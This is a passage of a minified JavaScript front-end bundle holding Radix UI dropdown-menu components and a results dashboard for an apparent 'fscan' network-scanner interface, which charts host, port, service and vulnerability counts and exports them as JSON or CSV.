i=e[r],l=t[r];/^on[A-Z]/.test(r)?i&&l?n[r]=(...u)=>{const f=l(...u);return i(...u),f}:i&&(n[r]=i):r==="style"?n[r]={...i,...l}:r==="className"&&(n[r]=[i,l].filter(Boolean).join(" "))}return{...e,...n}}function Wse(e){let t=Object.getOwnPropertyDescriptor(e.props,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning;return n?e.ref:(t=Object.getOwnPropertyDescriptor(e,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning,n?e.props.ref:e.props.ref||e.ref)}var Ab=["Enter"," "],Xse=["ArrowDown","PageUp","Home"],uz=["ArrowUp","PageDown","End"],Zse=[...Xse,...uz],Qse={ltr:[...Ab,"ArrowRight"],rtl:[...Ab,"ArrowLeft"]},Jse={ltr:["ArrowLeft"],rtl:["ArrowRight"]},vu="Menu",[Bc,ece,tce]=Kb(vu),[To,fz]=Fn(vu,[tce,Fl,$p]),Hp=Fl(),dz=$p(),[nce,No]=To(vu),[rce,gu]=To(vu),hz=e=>{const{__scopeMenu:t,open:n=!1,children:r,dir:i,onOpenChange:l,modal:c=!0}=e,u=Hp(t),[f,h]=v.useState(null),p=v.useRef(!1),m=en(l),y=Kc(i);return v.useEffect(()=>{const x=()=>{p.current=!0,document.addEventListener("pointerdown",S,{capture:!0,once:!0}),document.addEventListener("pointermove",S,{capture:!0,once:!0})},S=()=>p.current=!1;return document.addEventListener("keydown",x,{capture:!0}),()=>{document.removeEventListener("keydown",x,{capture:!0}),document.removeEventListener("pointerdown",S,{capture:!0}),document.removeEventListener("pointermove",S,{capture:!0})}},[]),E.jsx(zb,{...u,children:E.jsx(nce,{scope:t,open:n,onOpenChange:m,content:f,onContentChange:h,children:E.jsx(rce,{scope:t,onClose:v.useCallback(()=>m(!1),[m]),isUsingKeyboardRef:p,dir:y,modal:c,children:r})})})};hz.displayName=vu;var ace="MenuAnchor",rw=v.forwardRef((e,t)=>{const{__scopeMenu:n,...r}=e,i=Hp(n);return E.jsx($b,{...i,...r,ref:t})});rw.displayName=ace;var aw="MenuPortal",[ice,pz]=To(aw,{forceMount:void 0}),mz=e=>{const{__scopeMenu:t,forceMount:n,children:r,container:i}=e,l=No(aw,t);return E.jsx(ice,{scope:t,forceMount:n,children:E.jsx(ln,{present:n||l.open,children:E.jsx(Fc,{asChild:!0,container:i,children:r})})})};mz.displayName=aw;var cr="MenuContent",[oce,iw]=To(cr),vz=v.forwardRef((e,t)=>{const n=pz(cr,e.__scopeMenu),{forceMount:r=n.forceMount,...i}=e,l=No(cr,e.__scopeMenu),c=gu(cr,e.__scopeMenu);return E.jsx(Bc.Provider,{scope:e.__scopeMenu,children:E.jsx(ln,{present:r||l.open,children:E.jsx(Bc.Slot,{scope:e.__scopeMenu,children:c.modal?E.jsx(lce,{...i,ref:t}):E.jsx(sce,{...i,ref:t})})})})}),lce=v.forwardRef((e,t)=>{const n=No(cr,e.__scopeMenu),r=v.useRef(null),i=De(t,r);return v.useEffect(()=>{const l=r.current;if(l)return Gb(l)},[]),E.jsx(ow,{...e,ref:i,trapFocus:n.open,disableOutsidePointerEvents:n.open,disableOutsideScroll:!0,onFocusOutside:ue(e.onFocusOutside,l=>l.preventDefault(),{checkForDefaultPrevented:!1}),onDismiss:()=>n.onOpenChange(!1)})}),sce=v.forwardRef((e,t)=>{const n=No(cr,e.__scopeMenu);return E.jsx(ow,{...e,ref:t,trapFocus:!1,disableOutsidePointerEvents:!1,disableOutsideScroll:!1,onDismiss:()=>n.onOpenChange(!1)})}),cce=Fse("MenuContent.ScrollLock"),ow=v.forwardRef((e,t)=>{const{__scopeMenu:n,loop:r=!1,trapFocus:i,onOpenAutoFocus:l,onCloseAutoFocus:c,disableOutsidePointerEvents:u,onEntryFocus:f,onEscapeKeyDown:h,onPointerDownOutside:p,onFocusOutside:m,onInteractOutside:y,onDismiss:x,disableOutsideScroll:S,...w}=e,O=No(cr,n),A=gu(cr,n),_=Hp(n),T=dz(n),j=ece(n),[M,P]=v.useState(null),R=v.useRef(null),I=De(t,R,O.onContentChange),B=v.useRef(0),q=v.useRef(""),U=v.useRef(0),V=v.useRef(null),oe=v.useRef("right"),le=v.useRef(0),ce=S?zh:v.Fragment,L=S?{as:cce,allowPinchZoom:!0}:void 0,F=Z=>{const de=q.current+Z,D=j().filter(ee=>!ee.disabled),X=document.activeElement,ae=D.find(ee=>ee.ref.current===X)?.textValue,se=D.map(ee=>ee.textValue),me=wce(se,de,ae),xe=D.find(ee=>ee.textValue===me)?.ref.current;(function ee(_e){q.current=_e,window.clearTimeout(B.current),_e!==""&&(B.current=window.setTimeout(()=>ee(""),1e3))})(de),xe&&setTimeout(()=>xe.focus())};v.useEffect(()=>()=>window.clearTimeout(B.current),[]),Yb();const $=v.useCallback(Z=>oe.current===V.current?.side&&Oce(Z,V.current?.area),[]);return E.jsx(oce,{scope:n,searchRef:q,onItemEnter:v.useCallback(Z=>{$(Z)&&Z.preventDefault()},[$]),onItemLeave:v.useCallback(Z=>{$(Z)||(R.current?.focus(),P(null))},[$]),onTriggerLeave:v.useCallback(Z=>{$(Z)&&Z.preventDefault()},[$]),pointerGraceTimerRef:U,onPointerGraceIntentChange:v.useCallback(Z=>{V.current=Z},[]),children:E.jsx(ce,{...L,children:E.jsx(Lh,{asChild:!0,trapped:i,onMountAutoFocus:ue(l,Z=>{Z.preventDefault(),R.current?.focus({preventScroll:!0})}),onUnmountAutoFocus:c,children:E.jsx(Hc,{asChild:!0,disableOutsidePointerEvents:u,onEscapeKeyDown:h,onPointerDownOutside:p,onFocusOutside:m,onInteractOutside:y,onDismiss:x,children:E.jsx(JI,{asChild:!0,...T,dir:A.dir,orientation:"vertical",loop:r,currentTabStopId:M,onCurrentTabStopIdChange:P,onEntryFocus:ue(f,Z=>{A.isUsingKeyboardRef.current||Z.preventDefault()}),preventScrollOnEntryFocus:!0,children:E.jsx(Bb,{role:"menu","aria-orientation":"vertical","data-state":Pz(O.open),"data-radix-menu-content":"",dir:A.dir,..._,...w,ref:I,style:{outline:"none",...w.style},onKeyDown:ue(w.onKeyDown,Z=>{const D=Z.target.closest("[data-radix-menu-content]")===Z.currentTarget,X=Z.ctrlKey||Z.altKey||Z.metaKey,ae=Z.key.length===1;D&&(Z.key==="Tab"&&Z.preventDefault(),!X&&ae&&F(Z.key));const se=R.current;if(Z.target!==se||!Zse.includes(Z.key))return;Z.preventDefault();const xe=j().filter(ee=>!ee.disabled).map(ee=>ee.ref.current);uz.includes(Z.key)&&xe.reverse(),bce(xe)}),onBlur:ue(e.onBlur,Z=>{Z.currentTarget.contains(Z.target)||(window.clearTimeout(B.current),q.current="")}),onPointerMove:ue(e.onPointerMove,Uc(Z=>{const de=Z.target,D=le.current!==Z.clientX;if(Z.currentTarget.contains(de)&&D){const X=Z.clientX>le.current?"right":"left";oe.current=X,le.current=Z.clientX}}))})})})})})})});vz.displayName=cr;var uce="MenuGroup",lw=v.forwardRef((e,t)=>{const{__scopeMenu:n,...r}=e;return E.jsx(Ce.div,{role:"group",...r,ref:t})});lw.displayName=uce;var fce="MenuLabel",gz=v.forwardRef((e,t)=>{const{__scopeMenu:n,...r}=e;return E.jsx(Ce.div,{...r,ref:t})});gz.displayName=fce;var Sh="MenuItem",lM="menu.itemSelect",qp=v.forwardRef((e,t)=>{const{disabled:n=!1,onSelect:r,...i}=e,l=v.useRef(null),c=gu(Sh,e.__scopeMenu),u=iw(Sh,e.__scopeMenu),f=De(t,l),h=v.useRef(!1),p=()=>{const m=l.current;if(!n&&m){const y=new CustomEvent(lM,{bubbles:!0,cancelable:!0});m.addEventListener(lM,x=>r?.(x),{once:!0}),AM(m,y),y.defaultPrevented?h.current=!1:c.onClose()}};return E.jsx(yz,{...i,ref:f,disabled:n,onClick:ue(e.onClick,p),onPointerDown:m=>{e.onPointerDown?.(m),h.current=!0},onPointerUp:ue(e.onPointerUp,m=>{h.current||m.currentTarget?.click()}),onKeyDown:ue(e.onKeyDown,m=>{const y=u.searchRef.current!=="";n||y&&m.key===" "||Ab.includes(m.key)&&(m.currentTarget.click(),m.preventDefault())})})});qp.displayName=Sh;var yz=v.forwardRef((e,t)=>{const{__scopeMenu:n,disabled:r=!1,textValue:i,...l}=e,c=iw(Sh,n),u=dz(n),f=v.useRef(null),h=De(t,f),[p,m]=v.useState(!1),[y,x]=v.useState("");return v.useEffect(()=>{const S=f.current;S&&x((S.textContent??"").trim())},[l.children]),E.jsx(Bc.ItemSlot,{scope:n,disabled:r,textValue:i??y,children:E.jsx(e3,{asChild:!0,...u,focusable:!r,children:E.jsx(Ce.div,{role:"menuitem","data-highlighted":p?"":void 0,"aria-disabled":r||void 0,"data-disabled":r?"":void 0,...l,ref:h,onPointerMove:ue(e.onPointerMove,Uc(S=>{r?c.onItemLeave(S):(c.onItemEnter(S),S.defaultPrevented||S.currentTarget.focus({preventScroll:!0}))})),onPointerLeave:ue(e.onPointerLeave,Uc(S=>c.onItemLeave(S))),onFocus:ue(e.onFocus,()=>m(!0)),onBlur:ue(e.onBlur,()=>m(!1))})})})}),dce="MenuCheckboxItem",bz=v.forwardRef((e,t)=>{const{checked:n=!1,onCheckedChange:r,...i}=e;return E.jsx(Ez,{scope:e.__scopeMenu,checked:n,children:E.jsx(qp,{role:"menuitemcheckbox","aria-checked":Oh(n)?"mixed":n,...i,ref:t,"data-state":cw(n),onSelect:ue(i.onSelect,()=>r?.(Oh(n)?!0:!n),{checkForDefaultPrevented:!1})})})});bz.displayName=dce;var xz="MenuRadioGroup",[hce,pce]=To(xz,{value:void 0,onValueChange:()=>{}}),wz=v.forwardRef((e,t)=>{const{value:n,onValueChange:r,...i}=e,l=en(r);return E.jsx(hce,{scope:e.__scopeMenu,value:n,onValueChange:l,children:E.jsx(lw,{...i,ref:t})})});wz.displayName=xz;var Sz="MenuRadioItem",Oz=v.forwardRef((e,t)=>{const{value:n,...r}=e,i=pce(Sz,e.__scopeMenu),l=n===i.value;return E.jsx(Ez,{scope:e.__scopeMenu,checked:l,children:E.jsx(qp,{role:"menuitemradio","aria-checked":l,...r,ref:t,"data-state":cw(l),onSelect:ue(r.onSelect,()=>i.onValueChange?.(n),{checkForDefaultPrevented:!1})})})});Oz.displayName=Sz;var sw="MenuItemIndicator",[Ez,mce]=To(sw,{checked:!1}),Az=v.forwardRef((e,t)=>{const{__scopeMenu:n,forceMount:r,...i}=e,l=mce(sw,n);return E.jsx(ln,{present:r||Oh(l.checked)||l.checked===!0,children:E.jsx(Ce.span,{...i,ref:t,"data-state":cw(l.checked)})})});Az.displayName=sw;var vce="MenuSeparator",Cz=v.forwardRef((e,t)=>{const{__scopeMenu:n,...r}=e;return E.jsx(Ce.div,{role:"separator","aria-orientation":"horizontal",...r,ref:t})});Cz.displayName=vce;var gce="MenuArrow",_z=v.forwardRef((e,t)=>{const{__scopeMenu:n,...r}=e,i=Hp(n);return E.jsx(Ub,{...i,...r,ref:t})});_z.displayName=gce;var yce="MenuSub",[Bue,Tz]=To(yce),vc="MenuSubTrigger",Nz=v.forwardRef((e,t)=>{const n=No(vc,e.__scopeMenu),r=gu(vc,e.__scopeMenu),i=Tz(vc,e.__scopeMenu),l=iw(vc,e.__scopeMenu),c=v.useRef(null),{pointerGraceTimerRef:u,onPointerGraceIntentChange:f}=l,h={__scopeMenu:e.__scopeMenu},p=v.useCallback(()=>{c.current&&window.clearTimeout(c.current),c.current=null},[]);return v.useEffect(()=>p,[p]),v.useEffect(()=>{const m=u.current;return()=>{window.clearTimeout(m),f(null)}},[u,f]),E.jsx(rw,{asChild:!0,...h,children:E.jsx(yz,{id:i.triggerId,"aria-haspopup":"menu","aria-expanded":n.open,"aria-controls":i.contentId,"data-state":Pz(n.open),...e,ref:ja(t,i.onTriggerChange),onClick:m=>{e.onClick?.(m),!(e.disabled||m.defaultPrevented)&&(m.currentTarget.focus(),n.open||n.onOpenChange(!0))},onPointerMove:ue(e.onPointerMove,Uc(m=>{l.onItemEnter(m),!m.defaultPrevented&&!e.disabled&&!n.open&&!c.current&&(l.onPointerGraceIntentChange(null),c.current=window.setTimeout(()=>{n.onOpenChange(!0),p()},100))})),onPointerLeave:ue(e.onPointerLeave,Uc(m=>{p();const y=n.content?.getBoundingClientRect();if(y){const x=n.content?.dataset.side,S=x==="right",w=S?-5:5,O=y[S?"left":"right"],A=y[S?"right":"left"];l.onPointerGraceIntentChange({area:[{x:m.clientX+w,y:m.clientY},{x:O,y:y.top},{x:A,y:y.top},{x:A,y:y.bottom},{x:O,y:y.bottom}],side:x}),window.clearTimeout(u.current),u.current=window.setTimeout(()=>l.onPointerGraceIntentChange(null),300)}else{if(l.onTriggerLeave(m),m.defaultPrevented)return;l.onPointerGraceIntentChange(null)}})),onKeyDown:ue(e.onKeyDown,m=>{const y=l.searchRef.current!=="";e.disabled||y&&m.key===" "||Qse[r.dir].includes(m.key)&&(n.onOpenChange(!0),n.content?.focus(),m.preventDefault())})})})});Nz.displayName=vc;var Mz="MenuSubContent",jz=v.forwardRef((e,t)=>{const n=pz(cr,e.__scopeMenu),{forceMount:r=n.forceMount,...i}=e,l=No(cr,e.__scopeMenu),c=gu(cr,e.__scopeMenu),u=Tz(Mz,e.__scopeMenu),f=v.useRef(null),h=De(t,f);return E.jsx(Bc.Provider,{scope:e.__scopeMenu,children:E.jsx(ln,{present:r||l.open,children:E.jsx(Bc.Slot,{scope:e.__scopeMenu,children:E.jsx(ow,{id:u.contentId,"aria-labelledby":u.triggerId,...i,ref:h,align:"start",side:c.dir==="rtl"?"left":"right",disableOutsidePointerEvents:!1,disableOutsideScroll:!1,trapFocus:!1,onOpenAutoFocus:p=>{c.isUsingKeyboardRef.current&&f.current?.focus(),p.preventDefault()},onCloseAutoFocus:p=>p.preventDefault(),onFocusOutside:ue(e.onFocusOutside,p=>{p.target!==u.trigger&&l.onOpenChange(!1)}),onEscapeKeyDown:ue(e.onEscapeKeyDown,p=>{c.onClose(),p.preventDefault()}),onKeyDown:ue(e.onKeyDown,p=>{const m=p.currentTarget.contains(p.target),y=Jse[c.dir].includes(p.key);m&&y&&(l.onOpenChange(!1),u.trigger?.focus(),p.preventDefault())})})})})})});jz.displayName=Mz;function Pz(e){return e?"open":"closed"}function Oh(e){return e==="indeterminate"}function cw(e){return Oh(e)?"indeterminate":e?"checked":"unchecked"}function bce(e){const t=document.activeElement;for(const n of e)if(n===t||(n.focus(),document.activeElement!==t))return}function xce(e,t){return e.map((n,r)=>e[(t+r)%e.length])}function wce(e,t,n){const i=t.length>1&&Array.from(t).every(h=>h===t[0])?t[0]:t,l=n?e.indexOf(n):-1;let c=xce(e,Math.max(l,0));i.length===1&&(c=c.filter(h=>h!==n));const f=c.find(h=>h.toLowerCase().startsWith(i.toLowerCase()));return f!==n?f:void 0}function Sce(e,t){const{x:n,y:r}=e;let i=!1;for(let l=0,c=t.length-1;lr!=y>r&&n<(m-h)*(r-p)/(y-p)+h&&(i=!i)}return i}function Oce(e,t){if(!t)return!1;const n={x:e.clientX,y:e.clientY};return Sce(n,t)}function Uc(e){return t=>t.pointerType==="mouse"?e(t):void 0}var Ece=hz,Ace=rw,Cce=mz,_ce=vz,Tce=lw,Nce=gz,Mce=qp,jce=bz,Pce=wz,Rce=Oz,Dce=Az,kce=Cz,Lce=_z,Ice=Nz,zce=jz,Fp="DropdownMenu",[$ce]=Fn(Fp,[fz]),mn=fz(),[Bce,Rz]=$ce(Fp),Dz=e=>{const{__scopeDropdownMenu:t,children:n,dir:r,open:i,defaultOpen:l,onOpenChange:c,modal:u=!0}=e,f=mn(t),h=v.useRef(null),[p,m]=Oa({prop:i,defaultProp:l??!1,onChange:c,caller:Fp});return E.jsx(Bce,{scope:t,triggerId:sr(),triggerRef:h,contentId:sr(),open:p,onOpenChange:m,onOpenToggle:v.useCallback(()=>m(y=>!y),[m]),modal:u,children:E.jsx(Ece,{...f,open:p,onOpenChange:m,dir:r,modal:u,children:n})})};Dz.displayName=Fp;var kz="DropdownMenuTrigger",Lz=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,disabled:r=!1,...i}=e,l=Rz(kz,n),c=mn(n);return E.jsx(Ace,{asChild:!0,...c,children:E.jsx(Ce.button,{type:"button",id:l.triggerId,"aria-haspopup":"menu","aria-expanded":l.open,"aria-controls":l.open?l.contentId:void 0,"data-state":l.open?"open":"closed","data-disabled":r?"":void 0,disabled:r,...i,ref:ja(t,l.triggerRef),onPointerDown:ue(e.onPointerDown,u=>{!r&&u.button===0&&u.ctrlKey===!1&&(l.onOpenToggle(),l.open||u.preventDefault())}),onKeyDown:ue(e.onKeyDown,u=>{r||(["Enter"," "].includes(u.key)&&l.onOpenToggle(),u.key==="ArrowDown"&&l.onOpenChange(!0),["Enter"," ","ArrowDown"].includes(u.key)&&u.preventDefault())})})})});Lz.displayName=kz;var Uce="DropdownMenuPortal",Iz=e=>{const{__scopeDropdownMenu:t,...n}=e,r=mn(t);return E.jsx(Cce,{...r,...n})};Iz.displayName=Uce;var zz="DropdownMenuContent",$z=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=Rz(zz,n),l=mn(n),c=v.useRef(!1);return E.jsx(_ce,{id:i.contentId,"aria-labelledby":i.triggerId,...l,...r,ref:t,onCloseAutoFocus:ue(e.onCloseAutoFocus,u=>{c.current||i.triggerRef.current?.focus(),c.current=!1,u.preventDefault()}),onInteractOutside:ue(e.onInteractOutside,u=>{const f=u.detail.originalEvent,h=f.button===0&&f.ctrlKey===!0,p=f.button===2||h;(!i.modal||p)&&(c.current=!0)}),style:{...e.style,"--radix-dropdown-menu-content-transform-origin":"var(--radix-popper-transform-origin)","--radix-dropdown-menu-content-available-width":"var(--radix-popper-available-width)","--radix-dropdown-menu-content-available-height":"var(--radix-popper-available-height)","--radix-dropdown-menu-trigger-width":"var(--radix-popper-anchor-width)","--radix-dropdown-menu-trigger-height":"var(--radix-popper-anchor-height)"}})});$z.displayName=zz;var Hce="DropdownMenuGroup",qce=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=mn(n);return E.jsx(Tce,{...i,...r,ref:t})});qce.displayName=Hce;var Fce="DropdownMenuLabel",Bz=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=mn(n);return E.jsx(Nce,{...i,...r,ref:t})});Bz.displayName=Fce;var Vce="DropdownMenuItem",Uz=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=mn(n);return E.jsx(Mce,{...i,...r,ref:t})});Uz.displayName=Vce;var Kce="DropdownMenuCheckboxItem",Hz=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=mn(n);return E.jsx(jce,{...i,...r,ref:t})});Hz.displayName=Kce;var Yce="DropdownMenuRadioGroup",Gce=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=mn(n);return E.jsx(Pce,{...i,...r,ref:t})});Gce.displayName=Yce;var Wce="DropdownMenuRadioItem",qz=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=mn(n);return E.jsx(Rce,{...i,...r,ref:t})});qz.displayName=Wce;var Xce="DropdownMenuItemIndicator",Fz=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=mn(n);return E.jsx(Dce,{...i,...r,ref:t})});Fz.displayName=Xce;var Zce="DropdownMenuSeparator",Vz=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=mn(n);return E.jsx(kce,{...i,...r,ref:t})});Vz.displayName=Zce;var Qce="DropdownMenuArrow",Jce=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=mn(n);return E.jsx(Lce,{...i,...r,ref:t})});Jce.displayName=Qce;var eue="DropdownMenuSubTrigger",Kz=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=mn(n);return E.jsx(Ice,{...i,...r,ref:t})});Kz.displayName=eue;var tue="DropdownMenuSubContent",Yz=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=mn(n);return E.jsx(zce,{...i,...r,ref:t,style:{...e.style,"--radix-dropdown-menu-content-transform-origin":"var(--radix-popper-transform-origin)","--radix-dropdown-menu-content-available-width":"var(--radix-popper-available-width)","--radix-dropdown-menu-content-available-height":"var(--radix-popper-available-height)","--radix-dropdown-menu-trigger-width":"var(--radix-popper-anchor-width)","--radix-dropdown-menu-trigger-height":"var(--radix-popper-anchor-height)"}})});Yz.displayName=tue;var nue=Dz,rue=Lz,aue=Iz,Gz=$z,Wz=Bz,Xz=Uz,Zz=Hz,Qz=qz,Jz=Fz,e5=Vz,t5=Kz,n5=Yz;const iue=nue,oue=rue,lue=v.forwardRef(({className:e,inset:t,children:n,...r},i)=>E.jsxs(t5,{ref:i,className:Ee("flex cursor-default select-none items-center gap-2 rounded-sm px-2 py-1.5 text-sm outline-none focus:bg-accent data-[state=open]:bg-accent [&_svg]:pointer-events-none [&_svg]:size-4 [&_svg]:shrink-0",t&&"pl-8",e),...r,children:[n,E.jsx(j6,{className:"ml-auto"})]}));lue.displayName=t5.displayName;const sue=v.forwardRef(({className:e,...t},n)=>E.jsx(n5,{ref:n,className:Ee("z-50 min-w-[8rem] overflow-hidden rounded-md border bg-popover p-1 text-popover-foreground shadow-lg data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2",e),...t}));sue.displayName=n5.displayName;const r5=v.forwardRef(({className:e,sideOffset:t=4,...n},r)=>E.jsx(aue,{children:E.jsx(Gz,{ref:r,sideOffset:t,className:Ee("z-50 min-w-[8rem] overflow-hidden rounded-md border bg-popover p-1 text-popover-foreground shadow-md data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2",e),...n})}));r5.displayName=Gz.displayName;const Cb=v.forwardRef(({className:e,inset:t,...n},r)=>E.jsx(Xz,{ref:r,className:Ee("relative flex cursor-default select-none items-center gap-2 rounded-sm px-2 py-1.5 text-sm outline-none transition-colors focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50 [&_svg]:pointer-events-none [&_svg]:size-4 [&_svg]:shrink-0",t&&"pl-8",e),...n}));Cb.displayName=Xz.displayName;const cue=v.forwardRef(({className:e,children:t,checked:n,...r},i)=>E.jsxs(Zz,{ref:i,className:Ee("relative flex cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none transition-colors focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50",e),checked:n,...r,children:[E.jsx("span",{className:"absolute left-2 flex h-3.5 w-3.5 items-center justify-center",children:E.jsx(Jz,{children:E.jsx(gM,{className:"h-4 w-4"})})}),t]}));cue.displayName=Zz.displayName;const uue=v.forwardRef(({className:e,children:t,...n},r)=>E.jsxs(Qz,{ref:r,className:Ee("relative flex cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none transition-colors focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50",e),...n,children:[E.jsx("span",{className:"absolute left-2 flex h-3.5 w-3.5 items-center justify-center",children:E.jsx(Jz,{children:E.jsx(z6,{className:"h-2 w-2 fill-current"})})}),t]}));uue.displayName=Qz.displayName;const fue=v.forwardRef(({className:e,inset:t,...n},r)=>E.jsx(Wz,{ref:r,className:Ee("px-2 py-1.5 text-sm font-semibold",t&&"pl-8",e),...n}));fue.displayName=Wz.displayName;const due=v.forwardRef(({className:e,...t},n)=>E.jsx(e5,{ref:n,className:Ee("-mx-1 my-1 h-px bg-muted",e),...t}));due.displayName=e5.displayName;function dc({className:e,...t}){return E.jsx("div",{className:Ee("animate-pulse rounded-md bg-muted",e),...t})}const di={host:"hsl(var(--chart-1))",port:"hsl(var(--chart-2))",service:"hsl(var(--chart-3))",vuln:"hsl(var(--chart-4))"};function hue({results:e}){const{t}=xo(),n=v.useMemo(()=>{const l={host:0,port:0,service:0,vuln:0};return e.forEach(c=>{const u=c.type?.toLowerCase();u in l&&l[u]++}),[{name:t("typeHost"),value:l.host,fill:di.host},{name:t("typePort"),value:l.port,fill:di.port},{name:t("typeService"),value:l.service,fill:di.service},{name:t("typeVuln"),value:l.vuln,fill:di.vuln}]},[e,t]),r={host:{label:t("typeHost"),color:di.host},port:{label:t("typePort"),color:di.port},service:{label:t("typeService"),color:di.service},vuln:{label:t("typeVuln"),color:di.vuln}},i=e.length>0;return E.jsxs(Gl,{children:[E.jsxs(Wl,{className:"flex flex-row items-center justify-between space-y-0 pb-2",children:[E.jsxs(Xl,{className:"flex items-center gap-2 text-base",children:[E.jsx(s0,{className:"w-4 h-4 sm:w-5 sm:h-5 text-muted-foreground"}),t("resultsDistribution")]}),E.jsx(ga,{variant:"secondary",className:"font-mono",children:e.length})]}),E.jsx(Zl,{children:i?E.jsxs("div",{className:"space-y-4",children:[E.jsx("div",{className:"flex justify-center",children:E.jsx(bh,{config:r,className:"h-[160px] w-[160px] aspect-square",children:E.jsxs($I,{children:[E.jsx(F1,{data:n.filter(l=>l.value>0),dataKey:"value",nameKey:"name",innerRadius:35,outerRadius:60,strokeWidth:2,stroke:"hsl(var(--background))",children:n.map((l,c)=>E.jsx(vo,{fill:l.fill},`cell-${c}`))}),E.jsx(Ob,{content:E.jsx(xh,{hideLabel:!0})})]})})}),E.jsx("div",{className:"space-y-2",children:n.map((l,c)=>E.jsxs("div",{className:"flex items-center justify-between text-sm",children:[E.jsxs("div",{className:"flex items-center gap-2",children:[E.jsx("div",{className:"w-3 h-3 rounded-sm shrink-0",style:{backgroundColor:l.fill}}),E.jsx("span",{className:"text-muted-foreground",children:l.name})]}),E.jsx("span",{className:"font-mono font-medium",children:l.value})]},c))}),E.jsx(bh,{config:r,className:"h-[120px] w-full",children:E.jsxs(lle,{data:n,layout:"vertical",margin:{left:0,right:8},children:[E.jsx(SI,{type:"number",hide:!0}),E.jsx(OI,{type:"category",dataKey:"name",tickLine:!1,axisLine:!1,width:50,tick:{fontSize:11}}),E.jsx(Ob,{content:E.jsx(xh,{})}),E.jsx(xI,{dataKey:"value",radius:3,children:n.map((l,c)=>E.jsx(vo,{fill:l.fill},`cell-${c}`))})]})})]}):E.jsx(Vh,{icon:s0,title:t("chartEmptyTitle"),description:t("chartEmptyDescription"),className:"py-6"})})]})}const pue={host:Tb,port:_b,service:SM,vuln:Nb};function mue(){const{t:e}=xo(),{clearLogs:t}=ax(),[n,r]=v.useState([]),[i,l]=v.useState("all"),[c,u]=v.useState(!1),f=v.useCallback(async()=>{u(!0);try{const S=await Rle();r(S.items)}catch(S){console.error("Failed to fetch results:",S)}finally{u(!1)}},[]);v.useEffect(()=>{f()},[f]);const h=async S=>{try{const w=await Dle(S),O=URL.createObjectURL(w),A=document.createElement("a");A.href=O,A.download=`fscan_results.${S}`,A.click(),URL.revokeObjectURL(O)}catch(w){console.error("Failed to export:",w)}},p=async()=>{try{await kle(),r([]),t()}catch(S){console.error("Failed to clear:",S)}},m=S=>{const w=S?.toLowerCase();return pue[w]||bM},y=S=>{switch(S?.toLowerCase()){case"host":return e("typeHost");case"port":return e("typePort");case"service":return e("typeService");case"vuln":return e("typeVuln");default:return S}},x=i==="all"?n:n.filter(S=>S.type===i);return E.jsx(xj,{children:E.jsxs("div",{className:"grid grid-cols-1 lg:grid-cols-10 gap-4",children:[E.jsxs("div",{className:"lg:col-span-7 space-y-4",children:[E.jsx(GP,{compact:!0,showTypeLabel:!0}),E.jsxs(Gl,{children:[E.jsxs(Wl,{className:"flex flex-row items-center justify-between space-y-0 pb-4",children:[E.jsxs(Xl,{className:"flex items-center gap-2 text-base",children:[E.jsx(lB,{className:"w-4 h-4 sm:w-5 sm:h-5 text-muted-foreground"}),e("resultsTitle"),E.jsxs(ga,{variant:"secondary",className:"font-mono",children:[x.length," ",e("items")]})]}),E.jsxs("div",{className:"flex items-center gap-1 sm:gap-2",children:[E.jsxs(qH,{children:[E.jsx(FH,{asChild:!0,children:E.jsxs(or,{variant:"ghost",size:"sm",onClick:f,disabled:c,className:"gap-1.5",children:[E.jsx(yB,{className:`w-4 h-4 ${c?"animate-spin":""}`}),E.jsx("span",{className:"hidden sm:inline",children:e("refresh")})]})}),E.jsx(wj,{children:e("refresh")})]}),E.jsxs(iue,{children:[E.jsx(oue,{asChild:!0,children:E.jsxs(or,{variant:"ghost",size:"sm",className:"gap-1.5",children:[E.jsx(H6,{className:"w-4 h-4"}),E.jsx("span",{className:"hidden sm:inline",children:e("export")}),E.jsx(Ch,{className:"w-3 h-3"})]})}),E.jsxs(r5,{align:"end",children:[E.jsxs(Cb,{onClick:()=>h("json"),children:[E.jsx(G6,{className:"w-4 h-4 mr-2"}),"JSON"]}),E.jsxs(Cb,{onClick:()=>h("csv"),children:[E.jsx(X6,{className:"w-4 h-4 mr-2"}),"CSV"]})]})]}),E.jsx(y3,{orientation:"vertical",className:"h-5 mx-1"}),E.jsxs(Use,{children:[E.jsx(Hse,{asChild:!0,children:E.jsxs(or,{variant:"ghost",size:"sm",className:"text-destructive hover:text-destructive hover:bg-destructive/10 gap-1.5",children:[E.jsx(jB,{className:"w-4 h-4"}),E.jsx("span",{className:"hidden 